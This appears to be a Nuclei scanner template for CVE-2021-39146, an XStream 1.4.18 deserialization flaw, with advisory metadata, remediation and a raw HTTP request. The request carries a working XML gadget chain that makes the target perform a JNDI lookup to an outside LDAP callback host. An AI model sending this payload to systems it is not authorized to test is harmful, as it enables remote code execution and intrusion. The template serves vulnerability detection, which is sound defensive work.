id: CVE-2021-39146

info:
  name: XStream 1.4.18 - Arbitrary Code Execution
  author: pwnhxl
  severity: high
  description: |
    XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade XStream to a version that is not affected by CVE-2021-39146.
  reference:
    - https://x-stream.github.io/CVE-2021-39146.html
    - https://github.com/x-stream/xstream/security/advisories/GHSA-p8pq-r894-fm8f
    - https://security.netapp.com/advisory/ntap-20210923-0003/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39146
    - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2021-39146
    cwe-id: CWE-434
    epss-score: 0.27391
    epss-percentile: 0.96788
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,deserialization,rce,xstream_project

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <sorted-set>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>test</type>
            <value class='javax.swing.MultiUIDefaults' serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                  <default>
                    <loadFactor>0.75</loadFactor>
                    <threshold>525</threshold>
                  </default>
                  <int>700</int>
                  <int>0</int>
              </hashtable>
              <javax.swing.UIDefaults>
                  <default>
                    <defaultLocale>zh_CN</defaultLocale>
                    <resourceCache/>
                  </default>
              </javax.swing.UIDefaults>
              <javax.swing.MultiUIDefaults>
                  <default>
                    <tables>
                    <javax.swing.UIDefaults serialization='custom'>
                      <unserializable-parents/>
                      <hashtable>
                        <default>
                          <loadFactor>0.75</loadFactor>
                          <threshold>525</threshold>
                        </default>
                        <int>700</int>
                        <int>1</int>
                        <string>lazyValue</string>
                        <javax.swing.UIDefaults_-ProxyLazyValue>
                          <className>javax.naming.InitialContext</className>
                          <methodName>doLookup</methodName>
                          <args>
                            <string>ldap://{{interactsh-url}}/#evil</string>
                          </args>
                        </javax.swing.UIDefaults_-ProxyLazyValue>
                      </hashtable>
                      <javax.swing.UIDefaults>
                        <default>
                          <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                          <resourceCache/>
                        </default>
                      </javax.swing.UIDefaults>
                    </javax.swing.UIDefaults>
                    </tables>
                  </default>
              </javax.swing.MultiUIDefaults>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>test</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
              <m__obj class='string'>test</m__obj>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
        </sorted-set>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "timestamp"
          - "com.thoughtworks.xstream"
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 500
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